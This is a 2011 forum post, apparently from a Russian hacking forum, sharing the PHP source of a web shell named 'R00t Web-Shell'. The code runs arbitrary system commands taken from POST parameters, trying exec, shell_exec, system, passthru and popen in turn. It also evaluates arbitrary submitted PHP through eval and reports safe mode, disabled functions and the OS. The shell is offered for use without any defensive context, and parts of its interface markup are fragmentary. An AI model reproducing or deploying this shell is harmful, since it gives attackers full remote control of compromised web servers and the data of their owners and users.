| <Cyber-punk> |
24.09.2011 19:52 |
Код:
Code:
$v){$_POST[$k] = stripslashes($v);}}
@ini_set('max_execution_time',0);
(@ini_get('safe_mode')=="1" ? $safe_mode="ON" : $safe_mode="OFF");
(@ini_get('disable_functions')!="" ? $disfunc=ini_get('disable_functions') : $disfunc=0);
(strtoupper(substr(PHP_OS, 0, 3))==='WIN' ? $os=1 : $os=0);
$action=$_POST['action'];
$content='';
$stdata='';
$style='BODY{background-color: #2b2f34;color: #9acd32;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #31333b;scrollbar-shadow-color: #363940;scrollbar-highlight-color: #363940;scrollbar-3dlight-color: #363940;scrollbar-darkshadow-color: #363940;scrollbar-track-color: #363940;scrollbar-arrow-color: #363940;}input{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}select{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #363940;font-size: 11pt;color: #FFFAFA;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #91cd32;text-decoration: none;font-size: 8pt;}a:visited{color: #91cd32;text-decoration: none;font-size: 8pt;}a:hover, a:active{background-color: #A8A8AD;color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}';
$header=''.getenv("HTTP_HOST").' - R00t Web-Shell'.$style.'';
$footer='';
$lang=array('allfuncsh'=>'All function for work shell was disabled.');
$act=array('shell','phpeval');//here added new actions
if(isset($action)){if(!in_array($action,$act))$action="shell";else $action=$action;}else $action="shell";
function shell($cmd,$suid_pass,$suid)
{
global $lang;
$code = $suid.' '.$suid_pass.' "'.$cmd.'"';
$ret = '';
if(!empty($code)) {
if(function_exists('exec')){
@exec($code,$ret);$ret = join("\n",$ret);
} elseif(function_exists('shell_exec')) {
$ret = @shell_exec($code);
} elseif(function_exists('system')) {
@ob_start()
;@system($code);
$ret = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($code);
$ret = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($code,"r"))) {
$ret = "";
while(!@feof($f)) {
$ret .= @fread($f,1024);
}
@pclose($f);
} else {
$ret=$lang['allfuncsh'];
}
}
return $ret;
}
//shell
if($action=="shell"){
$content.="
".@$_POST['command']."
".convert_cyr_string(htmlspecialchars(shell($_POST['command'],$suid_pass,$suid)),"d","w")."
";}
//phpeval
if($action=="phpeval"){
$content.="
<?php
".@$_POST['phpev']."
?>
";
if(isset($_POST['phpev']))$content.=eval($_POST['phpev']);}
?>'; document.reqs.submit();">.| Shell |. '; document.reqs.submit();">.| Php Eval |..| .| forward->|.
Safe mode:
Disable functions:
OS:
Server:
Id:
| COPYRIGHT BY ANTICHAT.RU | Made by Grinay | Modified by daniel_1024 |
Скажи спасибо daniel_1024!
|